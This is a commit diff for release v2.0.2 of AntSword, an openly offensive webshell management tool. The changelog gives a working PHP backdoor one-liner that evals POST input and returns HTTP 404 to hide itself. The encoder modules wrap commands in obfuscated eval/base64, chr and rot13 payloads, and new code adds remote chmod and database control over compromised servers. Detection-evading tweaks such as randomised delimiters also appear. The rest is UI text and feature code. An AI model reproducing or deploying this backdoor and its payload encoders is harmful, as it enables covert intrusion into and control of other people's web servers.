Unverified Commit a94c3c48 authored by Medicean's avatar Medicean Committed by GitHub

Release v2.0.2

Merge pull request #104 from AntSwordProject/v2.0.x
parents 4a6d93ee 71894bf5
...@@ -2,6 +2,50 @@ ...@@ -2,6 +2,50 @@
> 有空会补补BUG、添添新功能。 > 有空会补补BUG、添添新功能。
> 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT. > 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
## 2018/12/05 `(v2.0.2)`
### 模块增强
#### Shell 管理
* 可在 Shell 编辑数据窗口下的`其它设置`栏目下自定义上传文件分片大小 (默认为 500KB, 太大会导致 HTTP 413 错误)
#### 文件管理
* PHP Shell 下可直接修改文件权限, 显示为4位 8进制数, 如 `0644`
#### 数据管理
* 优化了查询结果显示,默认所有列宽为 100
* 可将查询结果导出为 CSV 文件
* PHP Shell MySQL 数据库可视化增强,支持`新建数据库`,`删除数据库`,`新建表`,`修改表名`,`删除表`,`编辑列名`,`删除列`
#### 虚拟终端
* 虚拟终端界面下使用 `Ctrl` + `=`(和`+`在一起的那个键) 可放大, `Ctrl` + `-` 可缩小
#### 浏览网站
* 新增了地址栏, 面对需要先进入登录页面的 Shell, 可先在此处访问 login 页面,然后保存 Cookie 到 Shell 配置。 默认为 Shell 的 URL
* 调整了工具栏按钮的排列
* 关闭了默认自动打开 URL,需要手动点击「浏览」按钮
### Bug Fix
* 修正 windows 客户端下用户编码器路径解析错误的问题
### Other
* 数据分割符随机化,再也不是之前固定的 `->|``|<-`
* 支持返回状态为 404, 500, 403 等非 200 的 Shell (#103 thx @Curz0n),一个简单的例子如下:
```
<?php http_response_code(404);@eval($_POST['ant']);?>
```
* JSP Shell 基础信息调整, 现在默认的目录为 shell 编译后的 class 文件所在目录
* 关于页面新增 [Discord 在线交流地址](https://discord.gg/Uzh5nUf)
## 2018/09/12 `(v2.0.1)` ## 2018/09/12 `(v2.0.1)`
### 插件 ### 插件
......
# AntSword [![release](https://img.shields.io/badge/release-v2.0.0-blue.svg?style=flat-square)][url-release] # AntSword [![release](https://img.shields.io/badge/release-v2.0.2-blue.svg?style=flat-square)][url-release]
> AntSword in your hands, no worries in your mind! > AntSword in your hands, no worries in your mind!
......
# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.0-blue.svg?style=flat-square)][url-release] # 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.2-blue.svg?style=flat-square)][url-release]
> 一剑在手,纵横无忧! > 一剑在手,纵横无忧!
......
...@@ -122,7 +122,11 @@ class Request { ...@@ -122,7 +122,11 @@ class Request {
}, res, callback); }, res, callback);
}) })
.end((err, ret) => { .end((err, ret) => {
let buff = ret.body; if (!ret) {
// 请求失败 TIMEOUT
return event.sender.send('request-error-' + opts['hash'], err);
}
let buff = ret.hasOwnProperty('body') ? ret.body : new Buffer();
// 解码 // 解码
let text = iconv.decode(buff, opts['encode']); let text = iconv.decode(buff, opts['encode']);
if (err && text == "") { if (err && text == "") {
......
{ {
"name": "antsword", "name": "antsword",
"version": "2.0.1", "version": "2.0.2",
"description": "中国蚁剑是一款跨平台的开源网站管理工具", "description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js", "main": "app.js",
"dependencies": { "dependencies": {
......
...@@ -111,8 +111,7 @@ ChangeLog: ...@@ -111,8 +111,7 @@ ChangeLog:
return ret; return ret;
} }
String WwwRootPathCode(HttpServletRequest r) throws Exception { String WwwRootPathCode(String d) throws Exception {
String d = this.getClass().getResource("/").getPath();
String s = ""; String s = "";
if (!d.substring(0, 1).equals("/")) { if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots(); File[] roots = File.listRoots();
...@@ -286,7 +285,7 @@ ChangeLog: ...@@ -286,7 +285,7 @@ ChangeLog:
String serverInfo = (String)System.getProperty("os.name"); String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator; String separator = File.separator;
String user = (String)System.getProperty("user.name"); String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(r); String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
} }
......
...@@ -103,8 +103,7 @@ Ver:1.3 ...@@ -103,8 +103,7 @@ Ver:1.3
return ret; return ret;
} }
String WwwRootPathCode(HttpServletRequest r) throws Exception { String WwwRootPathCode(String d) throws Exception {
String d = this.getClass().getResource("/").getPath();
String s = ""; String s = "";
if (!d.substring(0, 1).equals("/")) { if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots(); File[] roots = File.listRoots();
...@@ -278,7 +277,7 @@ Ver:1.3 ...@@ -278,7 +277,7 @@ Ver:1.3
String serverInfo = (String)System.getProperty("os.name"); String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator; String separator = File.separator;
String user = (String)System.getProperty("user.name"); String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(r); String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
} }
......
...@@ -44,8 +44,8 @@ class ASP extends Base { ...@@ -44,8 +44,8 @@ class ASP extends Base {
*/ */
complete(data) { complete(data) {
// 分隔符号 // 分隔符号
let tag_s = '->|'; let tag_s = Math.random().toString(16).substr(2, 5); // '->|';
let tag_e = '|<-'; let tag_e = Math.random().toString(16).substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']); // let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']); let formatter = Base.prototype.format(this.__opts__['encode']);
......
...@@ -47,8 +47,8 @@ class ASPX extends Base { ...@@ -47,8 +47,8 @@ class ASPX extends Base {
*/ */
complete(data) { complete(data) {
// 分隔符号 // 分隔符号
let tag_s = '->|'; let tag_s = Math.random().toString(16).substr(2, 5); // '->|';
let tag_e = '|<-'; let tag_e = Math.random().toString(16).substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']); // let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']); let formatter = Base.prototype.format(this.__opts__['encode']);
......
...@@ -38,7 +38,7 @@ module.exports = () => ({ ...@@ -38,7 +38,7 @@ module.exports = () => ({
upload_file: { upload_file: {
_: 'U', _: 'U',
'z1': '#{path}', 'z1': '#{path}',
'z2': '#{hex::content}' 'z2': '#{buffer::content}'
}, },
rename: { rename: {
......
...@@ -9,7 +9,7 @@ module.exports = (pwd, data) => { ...@@ -9,7 +9,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名 // 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64'); data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`; data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_']; delete data['_'];
return data; return data;
} }
...@@ -14,7 +14,7 @@ module.exports = (pwd, data) => { ...@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret.push(php[i].charCodeAt()); ret.push(php[i].charCodeAt());
i ++; i ++;
} }
return `eVAl(cHr(${ret.join(').ChR(')}));`; return `@eVAl(cHr(${ret.join(').ChR(')}));`;
} }
// 编码并去除多余数据 // 编码并去除多余数据
......
...@@ -14,7 +14,7 @@ module.exports = (pwd, data) => { ...@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret.push(php[i].charCodeAt().toString(16)); ret.push(php[i].charCodeAt().toString(16));
i ++; i ++;
} }
return `eVAl(cHr(0x${ret.join(').ChR(0x')}));`; return `@eVAl(cHr(0x${ret.join(').ChR(0x')}));`;
} }
// 编码并去除多余数据 // 编码并去除多余数据
......
...@@ -19,7 +19,7 @@ module.exports = (pwd, data) => { ...@@ -19,7 +19,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名 // 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = encode(data['_']); data[randomID] = encode(data['_']);
data[pwd] = `eval(str_rot13($_POST[${randomID}]));`; data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
delete data['_']; delete data['_'];
return data; return data;
} }
...@@ -45,8 +45,9 @@ class PHP extends Base { ...@@ -45,8 +45,9 @@ class PHP extends Base {
*/ */
complete(data) { complete(data) {
// 分隔符号 // 分隔符号
let tag_s = "->|";
let tag_e = "|<-"; let tag_s = Math.random().toString(16).substr(2, 5); // "->|";
let tag_e = Math.random().toString(16).substr(2, 5); // "|<-";
// 组合完整的代码 // 组合完整的代码
let tmpCode = data['_']; let tmpCode = data['_'];
......
...@@ -62,6 +62,13 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -62,6 +62,13 @@ module.exports = (arg1, arg2, arg3) => ({
[arg2]: "#{base64::time}" [arg2]: "#{base64::time}"
}, },
chmod: {
_:
`$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$mode=base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);echo(chmod($FN,octdec($mode))?"1":"0");`,
[arg1]: "#{base64::path}",
[arg2]: "#{base64::mode}"
},
mkdir: { mkdir: {
_: _:
`$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);echo(mkdir($f)?"1":"0");`, `$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);echo(mkdir($f)?"1":"0");`,
......
...@@ -170,6 +170,7 @@ module.exports = { ...@@ -170,6 +170,7 @@ module.exports = {
nohttps: 'Ignore HTTPS certificate', nohttps: 'Ignore HTTPS certificate',
terminalCache: "Use the terminal's cache", terminalCache: "Use the terminal's cache",
filemanagerCache: "Use the filemanager's cache", filemanagerCache: "Use the filemanager's cache",
uploadFragment: "Upload File Fragmentation Size",
requestTimeout: 'Request timeout', requestTimeout: 'Request timeout',
commandPath: 'Custom terminal-execPath' commandPath: 'Custom terminal-execPath'
} }
...@@ -219,6 +220,12 @@ module.exports = { ...@@ -219,6 +220,12 @@ module.exports = {
success: (path) => antSword.noxss(`Retime file success!\n${path}`), success: (path) => antSword.noxss(`Retime file success!\n${path}`),
error: (path, err) => antSword.noxss(`Retime file [${path}] failed!${err ? '\n' + err : ''}`) error: (path, err) => antSword.noxss(`Retime file [${path}] failed!${err ? '\n' + err : ''}`)
}, },
chmod: {
title: 'Chmod File',
check: 'Input should be octal numbers, eg: 0644',
success: (path) => antSword.noxss(`Chmod file success!\n${path}`),
error: (path, err) => antSword.noxss(`Chmod file [${path}] failed!${err ? '\n' + err : ''}`)
},
wget: { wget: {
title: 'Wget File', title: 'Wget File',
check: 'URL is not correct!', check: 'URL is not correct!',
...@@ -234,6 +241,9 @@ module.exports = { ...@@ -234,6 +241,9 @@ module.exports = {
task: { task: {
name: 'Upload', name: 'Upload',
success: 'Upload success!', success: 'Upload success!',
httperr_413: 'Please lower the upload file shard size setting.',
httperr_etime: 'Request timeout, please increase the timeout period.',
httperr_econnrefused: 'Connection refused, check target or proxy is enabled.',
failed: (err) => antSword.noxss(`Failed:${err}`), failed: (err) => antSword.noxss(`Failed:${err}`),
error: (err) => antSword.noxss(`Error:${err}`) error: (err) => antSword.noxss(`Error:${err}`)
}, },
...@@ -303,6 +313,7 @@ module.exports = { ...@@ -303,6 +313,7 @@ module.exports = {
upload: 'Upload', upload: 'Upload',
download: 'Download', download: 'Download',
modify: 'Modify the file time', modify: 'Modify the file time',
chmod: 'Chmod',
copy: { copy: {
title: 'Copy', title: 'Copy',
warning: (id) => antSword.noxss(`Already add to clipboard!\n${id}`), warning: (id) => antSword.noxss(`Already add to clipboard!\n${id}`),
...@@ -362,7 +373,18 @@ module.exports = { ...@@ -362,7 +373,18 @@ module.exports = {
menu: { menu: {
add: 'Add conf', add: 'Add conf',
del: 'Del conf', del: 'Del conf',
edit: 'Edit conf' edit: 'Edit conf',
adddb: 'New Database',
editdb: 'Edit Database',
deldb: 'Del Database',
addtable: 'New Table',
edittable: 'Edit TableName',
desctable: 'Desc Table',
showcreatetable: 'Create Table SQL',
deltable: 'Del Table',
addcolumn: 'New Column',
editcolumn: 'Edit ColumnName',
delcolumn: 'Del Column',
} }
}, },
query: { query: {
...@@ -380,8 +402,13 @@ module.exports = { ...@@ -380,8 +402,13 @@ module.exports = {
query: (err) => antSword.noxss(`Failure to execute SQL!\n${err}`), query: (err) => antSword.noxss(`Failure to execute SQL!\n${err}`),
parse: 'Return data format is incorrect!', parse: 'Return data format is incorrect!',
noresult: 'No query results!' noresult: 'No query results!'
},
dump: {
title: "Export Data",
success: "Export success",
} }
}, },
notsupport: 'Not support the current database type',
form: { form: {
title: 'Add conf', title: 'Add conf',
toolbar: { toolbar: {
...@@ -402,6 +429,74 @@ module.exports = { ...@@ -402,6 +429,74 @@ module.exports = {
confirm: 'Determine delete this configuration?', confirm: 'Determine delete this configuration?',
success: 'Delete configuration success!', success: 'Delete configuration success!',
error: (err) => antSword.noxss(`Delete configuration failed!\n${err}`) error: (err) => antSword.noxss(`Delete configuration failed!\n${err}`)
},
adddb: {
title: 'New Database',
dbname: 'Name',
characterset: 'Character Set',
charactercollation: 'Collation',
createbtn: 'OK',
cancelbtn: 'Cancel',
success: 'Create database successfully',
error: 'Failed to create database',
},
editdb: {
title: 'Database Properties',
dbname: 'Name(readonly)',
characterset: 'Character Set',
charactercollation: 'Collation',
updatebtn: 'OK',
cancelbtn: 'Cancel',
success: 'Edit database successfully',
error: 'Failed to edit database',
},
deldb: {
title: 'Delete Database',
confirm: (name) => antSword.noxss(`Are you sure you want to delete database ${name} ?`),
success: 'Delete database successfully',
error: 'Failed to delete database',
},
addtable: {
title: 'New Table',
add: 'New Column',
delete: 'Delete Column',
save: 'Save',
gridheader: "Name,Type,Length,Not Null,Key,Auto Increment",
delete_not_select: "Please select the row you want to delete first",
save_row_is_null: "The number of rows is empty",
cell_valid_error: (i,j)=>`Data format validation failed(row ${i+1}, col ${j+1})`,
confirmtitle: "New table name",
invalid_tablename: "Table names should not contain special symbols",
success: 'Create table successfully',
error: 'Failed to create table',
},
edittable: {
title: "New table name",
invalid_tablename: "Table names should not contain special symbols",
success: 'Update table name successfully',
error: 'Failed to update table',
},
deltable: {
title:'Delete Table',
confirm: (name) => antSword.noxss(`Are you sure you want to delete table ${name}?`),
success: 'Delete table successfully',
error: 'Failed to delete table',
},
addcolumn: {
},
editcolumn: {
title: "New column name",
invalid_tablename: "Column names should not contain special symbols",
get_column_type_error: "Get column type error",
success: 'Update column name successfully',
error: 'Failed to update column',
},
delcolumn: {
title:'Delete Column',
confirm: (name) => antSword.noxss(`Are you sure you want to delete column ${name}?`),
success: 'Delete column successfully',
error: 'Failed to delete column',
} }
} }
}, },
...@@ -411,7 +506,8 @@ module.exports = { ...@@ -411,7 +506,8 @@ module.exports = {
header: 'AntSword', header: 'AntSword',
homepage: 'Home', homepage: 'Home',
document: 'Document', document: 'Document',
qqgroup: 'QQ Group' qqgroup: 'QQ Group',
discord: 'Discord'
}, },
language: { language: {
title: 'Language setting', title: 'Language setting',
......
...@@ -171,6 +171,7 @@ module.exports = { ...@@ -171,6 +171,7 @@ module.exports = {
nohttps: '忽略HTTPS证书', nohttps: '忽略HTTPS证书',
terminalCache: '虚拟终端使用缓存', terminalCache: '虚拟终端使用缓存',
filemanagerCache: '文件管理使用缓存', filemanagerCache: '文件管理使用缓存',
uploadFragment: '上传文件分片大小',
requestTimeout: '请求超时', requestTimeout: '请求超时',
commandPath: '自定义终端执行路径' commandPath: '自定义终端执行路径'
} }
...@@ -220,6 +221,12 @@ module.exports = { ...@@ -220,6 +221,12 @@ module.exports = {
success: (path) => antSword.noxss(`更改文件时间成功!\n${path}`), success: (path) => antSword.noxss(`更改文件时间成功!\n${path}`),
error: (path, err) => antSword.noxss(`更改文件时间 [${path}] 失败!${err ? '\n' + err : ''}`) error: (path, err) => antSword.noxss(`更改文件时间 [${path}] 失败!${err ? '\n' + err : ''}`)
}, },
chmod: {
title: '更改权限',
check: "输入应为八进制数表示的权限, eg: 0644",
success: (path) => antSword.noxss(`更改文件权限成功!\n${path}`),
error: (path, err) => antSword.noxss(`更改文件权限 [${path}] 失败!${err ? '\n' + err : ''}`)
},
wget: { wget: {
title: 'Wget下载文件', title: 'Wget下载文件',
check: 'URL地址不正确!', check: 'URL地址不正确!',
...@@ -235,6 +242,9 @@ module.exports = { ...@@ -235,6 +242,9 @@ module.exports = {
task: { task: {
name: '上传', name: '上传',
success: '上传成功', success: '上传成功',
httperr_413: '请将上传文件分片大小设置调低',
httperr_etime: '请求超时,请将超时时间调大',
httperr_econnrefused: '连接被拒绝,检查目标或代理是否开启',
failed: (err) => antSword.noxss(`失败:${err}`), failed: (err) => antSword.noxss(`失败:${err}`),
error: (err) => antSword.noxss(`出错:${err}`) error: (err) => antSword.noxss(`出错:${err}`)
}, },
...@@ -304,6 +314,7 @@ module.exports = { ...@@ -304,6 +314,7 @@ module.exports = {
upload: '上传文件', upload: '上传文件',
download: '下载文件', download: '下载文件',
modify: '更改文件时间', modify: '更改文件时间',
chmod: '更改权限',
copy: { copy: {
title: '复制文件', title: '复制文件',
warning: (id) => antSword.noxss(`已经添加到剪贴板!\n${id}`), warning: (id) => antSword.noxss(`已经添加到剪贴板!\n${id}`),
...@@ -363,7 +374,18 @@ module.exports = { ...@@ -363,7 +374,18 @@ module.exports = {
menu: { menu: {
add: '添加配置', add: '添加配置',
del: '删除配置', del: '删除配置',
edit: '编辑配置' edit: '编辑配置',
adddb: '新建数据库',
editdb: '编辑数据库',
deldb: '删除数据库',
addtable: '新建表',
edittable: '编辑表名',
deltable: '删除表',
showcreatetable: '建表语句',
desctable: '查看表结构',
addcolumn: '添加列',
editcolumn: '编辑列名',
delcolumn: '删除列',
} }
}, },
query: { query: {
...@@ -381,8 +403,13 @@ module.exports = { ...@@ -381,8 +403,13 @@ module.exports = {
query: (err) => antSword.noxss(`执行SQL失败!\n${err}`), query: (err) => antSword.noxss(`执行SQL失败!\n${err}`),
parse: '返回数据格式不正确!', parse: '返回数据格式不正确!',
noresult: '没有查询结果!' noresult: '没有查询结果!'
},
dump: {
title: "导出查询结果",
success: "导出成功",
} }
}, },
notsupport: '该功能暂不支持当前类型数据库',
form: { form: {
title: '添加配置', title: '添加配置',
toolbar: { toolbar: {
...@@ -403,6 +430,74 @@ module.exports = { ...@@ -403,6 +430,74 @@ module.exports = {
confirm: '确定删除此配置吗?', confirm: '确定删除此配置吗?',
success: '删除配置成功!', success: '删除配置成功!',
error: (err) => antSword.noxss(`删除配置失败!\n${err}`) error: (err) => antSword.noxss(`删除配置失败!\n${err}`)
},
adddb: {
title: '新建数据库',
dbname: '名称',
characterset: '字符集',
charactercollation: '字符集排序',
createbtn: '创建',
cancelbtn: '取消',
success: '创建数据库成功',
error: '创建数据库失败',
},
editdb: {
title: '修改数据库',
dbname: '名称(只读)',
characterset: '字符集',
charactercollation: '字符集排序',
updatebtn: '修改',
cancelbtn: '取消',
success: '修改数据库成功',
error: '修改数据库失败',
},
deldb: {
title: '删除数据库',
confirm: (name) => antSword.noxss(`确定要删除数据库 ${name} 吗?`),
success: '删除数据库成功',
error: '删除数据库失败',
},
addtable: {
title: '新建表',
add: '新增字段',
delete: '删除字段',
save: '保存',
gridheader: "名称,类型,长度,不为空,主键,自增长",
delete_not_select: "请先选中要删除的行",
save_row_is_null: "行数为空",
cell_valid_error: (i,j)=>`数据格式校验失败(${i+1}行,${j+1}列)`,
confirmtitle: "输入新表名",
invalid_tablename: "表名不能带有特殊符号",
success: '新建表成功',
error: '新建表失败',
},
edittable: {
title: "输入新表名",
invalid_tablename: "表名不能带有特殊符号",
success: '修改表名成功',
error: '修改表名失败',
},
deltable: {
title:'删除表',
confirm: (name) => antSword.noxss(`确定要删除表 ${name} 吗?`),
success: '删除表成功',
error: '删除表失败',
},
addcolumn: {
},
editcolumn: {
title: "输入新列名",
invalid_tablename: "列名不能带有特殊符号",
get_column_type_error: "获取列属性失败",
success: '修改列名成功',
error: '修改列名失败'
},
delcolumn: {
title:'删除列',
confirm: (name) => antSword.noxss(`确定要删除列 ${name} 吗?`),
success: '删除列成功',
error: '删除列失败',
} }
} }
}, },
...@@ -412,7 +507,8 @@ module.exports = { ...@@ -412,7 +507,8 @@ module.exports = {
header: '中国蚁剑', header: '中国蚁剑',
homepage: '主页', homepage: '主页',
document: '文档', document: '文档',
qqgroup: 'Q群' qqgroup: 'Q群',
discord: '在线交流'
}, },
language: { language: {
title: '语言设置', title: '语言设置',
......
...@@ -525,8 +525,10 @@ class ASP { ...@@ -525,8 +525,10 @@ class ASP {
const grid = this.manager.result.layout.attachGrid(); const grid = this.manager.result.layout.attachGrid();
grid.clearAll(); grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, '')); grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,''));
grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));
grid.setInitWidths('*'); grid.setColumnMinWidth(100, header_arr.length-1);
grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*");
grid.setEditable(true); grid.setEditable(true);
grid.init(); grid.init();
// 添加数据 // 添加数据
...@@ -541,13 +543,32 @@ class ASP { ...@@ -541,13 +543,32 @@ class ASP {
'rows': grid_data 'rows': grid_data
}, 'json'); }, 'json');
// 启用导出按钮 // 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
}
// 导出查询数据
dumpResult() {
const grid = this.manager.result.layout.getAttachedObject();
let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`;
antSword['test'] = this;
dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename
},(filePath) => {
if (!filePath) { return; };
let headerStr = grid.hdrLabels.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
} }
// 禁用toolbar按钮 // 禁用toolbar按钮
disableToolbar() { disableToolbar() {
this.manager.list.toolbar.disableItem('del'); this.manager.list.toolbar.disableItem('del');
this.manager.list.toolbar.disableItem('edit'); this.manager.list.toolbar.disableItem('edit');
this.manager.result.toolbar.disableItem('dump');
} }
// 启用toolbar按钮 // 启用toolbar按钮
......
...@@ -525,8 +525,10 @@ class CUSTOM { ...@@ -525,8 +525,10 @@ class CUSTOM {
const grid = this.manager.result.layout.attachGrid(); const grid = this.manager.result.layout.attachGrid();
grid.clearAll(); grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, '')); grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,''));
grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));
grid.setInitWidths('*'); grid.setColumnMinWidth(100, header_arr.length-1);
grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*");
grid.setEditable(true); grid.setEditable(true);
grid.init(); grid.init();
// 添加数据 // 添加数据
...@@ -541,13 +543,32 @@ class CUSTOM { ...@@ -541,13 +543,32 @@ class CUSTOM {
'rows': grid_data 'rows': grid_data
}, 'json'); }, 'json');
// 启用导出按钮 // 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
}
// 导出查询数据
dumpResult() {
const grid = this.manager.result.layout.getAttachedObject();
let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`;
antSword['test'] = this;
dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename
},(filePath) => {
if (!filePath) { return; };
let headerStr = grid.hdrLabels.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
} }
// 禁用toolbar按钮 // 禁用toolbar按钮
disableToolbar() { disableToolbar() {
this.manager.list.toolbar.disableItem('del'); this.manager.list.toolbar.disableItem('del');
this.manager.list.toolbar.disableItem('edit'); this.manager.list.toolbar.disableItem('edit');
this.manager.result.toolbar.disableItem('dump');
} }
// 启用toolbar按钮 // 启用toolbar按钮
......
// //
// 数据库管理模块 // 数据库管理模块
// //
// TODO: 数据管理模块目前的代码存在大量冗余,后期会考虑将 数据库驱动 与 core 分成两个块来做
// import React from 'react'; // import React from 'react';
// import ReactDOM from 'react-dom'; // import ReactDOM from 'react-dom';
// import AceEditor from 'react-ace'; // import AceEditor from 'react-ace';
...@@ -158,14 +158,21 @@ class Database { ...@@ -158,14 +158,21 @@ class Database {
layout.setText(`<i class="fa fa-inbox"></i> ${LANG['result']['title']}`); layout.setText(`<i class="fa fa-inbox"></i> ${LANG['result']['title']}`);
// layout.hideHeader(); // layout.hideHeader();
// const toolbar = layout.attachToolbar(); const toolbar = layout.attachToolbar();
// toolbar.loadStruct([ toolbar.loadStruct([
// { id: 'dump', text: '导出', icon: 'upload', type: 'button', disabled: true }, { id: 'dump', text: '导出', icon: 'upload', type: 'button', disabled: true },
// { type: 'separator' } { type: 'separator' }
// ]); ]);
toolbar.attachEvent('onClick', (id) => {
switch(id) {
case 'dump':
this.drive.dumpResult();
break;
}
});
return { return {
layout: layout, layout: layout,
// toolbar: toolbar toolbar: toolbar
}; };
} }
......
This diff is collapsed.
...@@ -323,6 +323,9 @@ class Files { ...@@ -323,6 +323,9 @@ class Files {
// manager.retimeFile(id, this.rowsAr[id]['cells'][2].innerText); // manager.retimeFile(id, this.rowsAr[id]['cells'][2].innerText);
manager.retimeFile(id, this.getRowAttribute(_ids[0], 'data')[2]); manager.retimeFile(id, this.getRowAttribute(_ids[0], 'data')[2]);
} }, } },
{ text: LANG['grid']['contextmenu']['chmod'], icon: 'fa fa-users', disabled: !id || ids.length > 1, action: () => {
manager.chmodFile(id, this.getRowAttribute(_ids[0], 'data')[4]);
} },
{ divider: true }, { divider: true },
{ text: LANG['grid']['contextmenu']['create']['title'], icon: 'fa fa-plus-circle', subMenu: [ { text: LANG['grid']['contextmenu']['create']['title'], icon: 'fa fa-plus-circle', subMenu: [
{ text: LANG['grid']['contextmenu']['create']['folder'], icon: 'fa fa-folder-o', action: manager.createFolder.bind(manager) }, { text: LANG['grid']['contextmenu']['create']['folder'], icon: 'fa fa-folder-o', action: manager.createFolder.bind(manager) },
......
...@@ -473,6 +473,43 @@ class FileManager { ...@@ -473,6 +473,43 @@ class FileManager {
}) })
} }
// 设置文件和目录权限
chmodFile(name, oldmod) {
layer.prompt({
value: oldmod,
title: `<i class="fa fa-users"></i> ${LANG['chmod']['title']} (${antSword.noxss(name)})`,
}, (value, i, e) => {
if(!value.match(/^[0-7]{4}$/)){
toastr.error(LANG['chmod']['check'], LANG_T['error']);
return
}
this.files.cell.progressOn();
let path = this.path;
if (this.isWin) {
path = path.replace(/\//g, '\\')
}
// http request
this.core.request(
this.core.filemanager.chmod({
path: path + name,
mode: value
})
).then((res) => {
let ret = res['text'];
this.files.cell.progressOff();
if (ret === '1') {
this.files.refreshPath();
toastr.success(LANG['chmod']['success'](name), LANG_T['success']);
}else{
toastr.error(LANG['chmod']['error'](name, ret === '0' ? false : ret), LANG_T['error']);
}
}).catch((err) => {
toastr.error(LANG['chmod']['error'](name, err), LANG_T['error']);
});
layer.close(i);
});
}
// 预览文件(图片、视频) // 预览文件(图片、视频)
previewFile(name, size) { previewFile(name, size) {
let that = this; let that = this;
...@@ -490,7 +527,7 @@ class FileManager { ...@@ -490,7 +527,7 @@ class FileManager {
let down_size = 0; let down_size = 0;
this.core.download( this.core.download(
savepath savepath
,this.core.filemanager.read_file({path: remote_path}) ,this.core.filemanager.download_file({path: remote_path})
, (_size) => { , (_size) => {
down_size += _size; down_size += _size;
let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100); let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100);
...@@ -659,9 +696,9 @@ class FileManager { ...@@ -659,9 +696,9 @@ class FileManager {
let buffIndex = 0; let buffIndex = 0;
let buff = []; let buff = [];
// 分段上传大小,默认0.5M(jsp 超过1M响应会出错) // 分段上传大小,默认0.5M(jsp 超过1M响应会出错)
let dataSplit = 512 * 1024; let dataSplit = 500 * 1024;
if (this.opts['type'].toLowerCase() === 'php') { if ( parseInt((this.opts.otherConf || {})['upload-fragment']) > 0 ) {
dataSplit = 1024 * 1024 dataSplit = parseInt((this.opts.otherConf || {})['upload-fragment']) * 1024;
} }
let task = tasks[filePath]; let task = tasks[filePath];
// 获取文件名 // 获取文件名
...@@ -714,8 +751,32 @@ class FileManager { ...@@ -714,8 +751,32 @@ class FileManager {
ret === '0' ? '' : `<br/>${ret}` ret === '0' ? '' : `<br/>${ret}`
), LANG_T['error']); ), LANG_T['error']);
}).catch((err) => { }).catch((err) => {
task.failed(LANG['upload']['task']['error'](err)); // 出错后友好提示
toastr.error(LANG['upload']['error'](fileName, err), LANG_T['error']); let errmsg = err;
